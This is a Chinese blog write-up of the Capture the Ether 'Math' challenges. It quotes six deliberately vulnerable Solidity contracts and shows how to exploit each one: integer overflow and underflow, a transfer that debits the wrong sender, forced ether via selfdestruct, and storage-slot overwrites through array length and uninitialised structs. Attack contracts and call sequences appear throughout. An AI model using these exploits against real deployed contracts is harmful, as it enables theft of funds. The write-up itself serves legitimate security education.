Capture the Ether(Math)

Math

这个栏目考察的都是一些数学方面的知识

第一题:Token Sale

代码:

pragma solidity ^0.4.21;
contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;
    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }
    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }
    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);
        balanceOf[msg.sender] += numTokens;
    }
    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);
        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}

isComplete函数要求我们本合约的余额要小于 1 ether,这个代码提供了 buy 和 sell 函数,让我们可以以 1 numToken :1 ether 的汇率购买和卖出 numToken 。我们发现在 buy 函数中有这么一行代码:

require(msg.value == numTokens * PRICE_PER_TOKEN);

 我们知道 EVM 虚拟机最大只有 256 位,即最大值为 2 ** 256 - 1,所以当我们输入的numTokens是一个很大的值的时候,就会溢出,让我们用小于一个 ether 的价格买到一个 Token。

在remix中我们可以通过这样的代码来计算:

pragma solidity ^0.8.0;
contract attack{
    uint256 public max2;
    uint256 public max10;
    uint256 public numToken;
    uint256 public value;
    function setNumber() public {
        max2 = 2**256 - 1;
        max10 = 10**18;
    }
    function getResult() public {
        numToken = max2 / max10 + 1;
        value = 10**18 - max2 % 10**18 - 1;
    }
}

在目标合约中调用 buy 函数,输入参数为我们算出来的 numToken,msg.value 是我们算出来的value:

 此时我们地址的余额就很多了:

调用 sell 函数取出 1 ether 即可:

第二题:Token whale

代码:

pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
    address player;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;
    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }
    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }
    event Transfer(address indexed from, address indexed to, uint256 value);
    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);
    }
    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        _transfer(to, value);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }
    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);
        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

isComplete 函数要求 player 的余额大于 1000000,观察代码,我们会发现漏洞就在合约的 _transfer 函数里:

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);
    }

我会发现,执行 _transfer 函数时,它扣除的是 msg.sender 的钱,而不是 from 地址的钱,通过这个漏洞,我们可以使用三个用户来增加 player 的钱:

用户 A:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4

用户 B:0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2

用户 C:0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db

player 设置为用户 A

1. 切换到用户 A,调用 approve 函数向用户 B 批准金额,金额只要大于 0 小于 2** 256 - 1 即可:

2. 切换到用户 B,调用 transferFrom 函数向用户 C 转账,金额小于上一步 approve 的金额即可。因为此时用户 B 的金额为 0,减少之后就会下溢变成一个很大的数字:

3. 调用 transfer 函数向用户 A 转账即可:

第三题:Retirement fund

代码:

pragma solidity ^0.4.21;
contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;
    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);
        beneficiary = player;
        startBalance = msg.value;
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function withdraw() public {
        require(msg.sender == owner);
        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }
    function collectPenalty() public {
        require(msg.sender == beneficiary);
        uint256 withdrawn = startBalance - address(this).balance;
        // an early withdrawal occurred
        require(withdrawn > 0);
        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}

isComplete 函数要求我们本合约的余额为 0,合约部署者在银行中存了 1 ether,并且要 10 年之后才能取出来,如果他在这 10 年里取了钱,就会损失 10% 的钱。合约中的 withdraw 函数只有部署这才能调用,所以我们把重心放在 collectPenalty 函数上,这个函数要求 withdrawn 变量的值大于零,我们就可以把钱取出来,因为 startBalance 是一开始就确认好的,所以我们只能增加合约的钱,但是合约中没有可交易的 fallback 函数也没有 receive 函数,所以我们只能通过 selfdestruct 函数来强制给合约转钱。

攻击合约:

pragma solidity ^0.4.21;
import "./RetirementFund.sol";
contract RetirementFundChallengeAttack {
    RetirementFundChallenge challenge;
    constructor(address _addr) public {
        challenge = RetirementFundChallenge(_addr);
    }
    function pay() public payable {}
    function addToken(address _addr) public {
        selfdestruct(_addr);
    }
}

先给我们的攻击合约转 1 ether,在调用 addToken 函数,给目标合约转钱,再调用 collectPenalty 函数即可:

第四题:Mapping

代码:

pragma solidity ^0.4.21;
contract MappingChallenge {
    bool public isComplete;
    uint256[] map;
    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }
        map[key] = value;
    }
    function get(uint256 key) public view returns (uint256) {
        return map[key];
}

isComplete 函数要求我么本合约的金额为 0,这道题的代码很短,合约中没有任何直接修改 isComplete 的函数,我们只能从 map 这个数组入手,我们注意到这行代码:

map.length = key + 1;

 在这里 map 的 length 可能会发生溢出,因为 isComplete 存储在 slot0 中,所以我们可以找到一个值,使得其溢出之后刚好覆盖到 slot0。

动态数组 map 占据了 slot1 存储,但里面存储的只是 map 的长度,真正的数据是从 keccak256(slot) + index 开始存储的,即:map[0] 存储在 keccak256(1) 处,由此可知,计算公式即为:

map[isComplete] = 2**256 - uint256(keccack256(bytes32(1)))

pragma solidity ^0.4.21;
contract MappingChallenge {
    uint256 max2 = 2**256 - 1;
    function get() public returns (uint256) {
        return max2 - uint256(keccak256(bytes32(1))) + 1;
    }
}

部署两个合约,调用攻击合约计算出 isComplete 在数组中的位置:

 在目标合约中调用 set 函数,输入 key 为我们计算出的值,value 为 1 (true = 1):

第五题:Donation

代码:

pragma solidity ^0.4.21;
contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;
    address public owner;
    function DonationChallenge() public payable {
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    }   
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);
        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }
    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(address(this).balance);
    }
}

isComplete 函数要求我们本合约的余额为 0,这个合约代码的问题是在于这行代码:

Donation donation;

结构体的声明并没有初始化,就没有赋予存储空间,所以 donation 会存储在 slot0 中,然后为结构体在函数内非显式地初始化的时候会使用storage存储而不是memory,又因为 owner 是存储在 slot1 中的,所以我们就可以通过更改 donation.etherAmount 来覆盖 owner 的值;

注意 etherAmount 是一个 uint256 类型的,所以我们要把调用者的地址显式转换为 uint256 ;同时,donate 函数还要求我们传入的金额要等于 etherAmount / scale ,即 etherAmount  / 10**36:

pragma solidity ^0.4.21;
contract DonationChallenge {
    function getNum() public view returns(uint256) {
        return uint256(msg.sender);
    }
    function getValue() public view returns(uint256) {
        return getNum() / 10**18 / 10**18;
    }
}

 

 部署目标合约,调用 donate 函数,输入 etherAmount 为我们 getNum 计算出的值,msg.value 为 getValue 的值:

 

第六题:Fifty years

代码:

pragma solidity ^0.4.21;
contract FiftyYearsChallenge {
    struct Contribution {
        uint256 amount;
        uint256 unlockTimestamp;
    }
    Contribution[] queue;
    uint256 head;
    address owner;
    function FiftyYearsChallenge(address player) public payable {
        require(msg.value == 1 ether);
        owner = player;
        queue.push(Contribution(msg.value, now + 50 years));
    }
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    function upsert(uint256 index, uint256 timestamp) public payable {
        require(msg.sender == owner);
        if (index >= head && index < queue.length) {
            // Update existing contribution amount without updating timestamp.
            Contribution storage contribution = queue[index];
            contribution.amount += msg.value;
        } else {
            // Append a new contribution. Require that each contribution unlock
            // at least 1 day after the previous one.
            require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
            contribution.amount = msg.value;
            contribution.unlockTimestamp = timestamp;
            queue.push(contribution);
        }
    }
    function withdraw(uint256 index) public {
        require(msg.sender == owner);
        require(now >= queue[index].unlockTimestamp);
        // Withdraw this and any earlier contributions.
        uint256 total = 0;
        for (uint256 i = head; i <= index; i++) {
            total += queue[i].amount;
            // Reclaim storage.
            delete queue[i];
        }
        // Move the head of the queue forward so we don't have to loop over
        // already-withdrawn contributions.
        head = index + 1;
        msg.sender.transfer(total);
    }
}

isComplete 函数要求我们本合约的余额为 0,通过前几关的知识,我们可以知道:

1. upsert 函数中的 contribution.amount 和 contribution.unlockTimestamp 的赋值可以分别覆盖掉 queue数组的长度 和 head 变量。

2. 在 upsert 函数中下面的代码 :

require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

会发生上溢,所以我们找到一个 timestamp 使得其加 1 days 刚好会溢出为 0,我们就可以把取钱的时间设置为 0。

 1. 计算 timestamp(时间是以秒计算的,金额是以 wei 计算的):

pragma solidity ^0.4.21;
contract attack {
    uint256 max2 = 2**256 - 1;
    uint256 oneDay = 24 * 60 * 60;
    function getNum() public returns(uint256) {
        return max2 - oneDay + 1;
    }
}

 2. 部署目标合约,调用 upsert 函数,输入 index 为 1,timestamp 为我们算出来的值,msg.value = 1 wei :

3. 再次调用 upsert 函数,输入 index 为 2,timestamp 为 0,msg.value = 2 wei :

4. 此时就可以调用 withdraw 函数, 输入 index 为 2,取出合约中的钱,但是,当我们调用  withdraw 函数的时候,会发现调用失败,查阅了其他资料后发现:

queue.length 和 amount 是占据的同一块存储,所以当 queue.length 增加的时候 amount 的值也会增加,即当我们 index 等于 1 时,queue 数组进行了 push 操作,queue.length 增加了 1,所以 amount 也加了 1,即 2 wei,所以当我们调用 withdraw 函数时,要取出的钱大于合约中有的钱,就会报错。

- Contribution 0 (made by CTE): contribution.amount == msg.value == 1 ETH;
- Contribution 1 (us): contribution.amount == msg.value == 1 wei + `queue.push` == 2 wei;
- Contribution 2 (us): contribution.amount == msg.value == 2 wei + `queue.push` == 3 wei;
- Contract total == 1.00...03 ETH, Contributions total == 1.00...05 ETH.

文章链接https://mirror.xyz/kyrers.eth/dSjaARoTkYitJyQA8CFKLrS5CXbRVf-K4ol8Nla-bj0

我们实际的合约金额为1.000000000000000003 ETH,但是我们要取的金额为1.000000000000000005 ETH,那我们怎么办呢?其中一种做法就是写一个自毁合约,来给目标合约转 2 wei 就可以了:

pragma solidity ^0.4.21;
contract attack {
    function pay() public payable {}
    function addToken(address _addr) public {
        selfdestruct(_addr);
    }
}

调用 withdraw 函数即可,输入 index 为 2 即可:

 

猜你喜欢

转载自blog.csdn.net/m0_52030813/article/details/127838228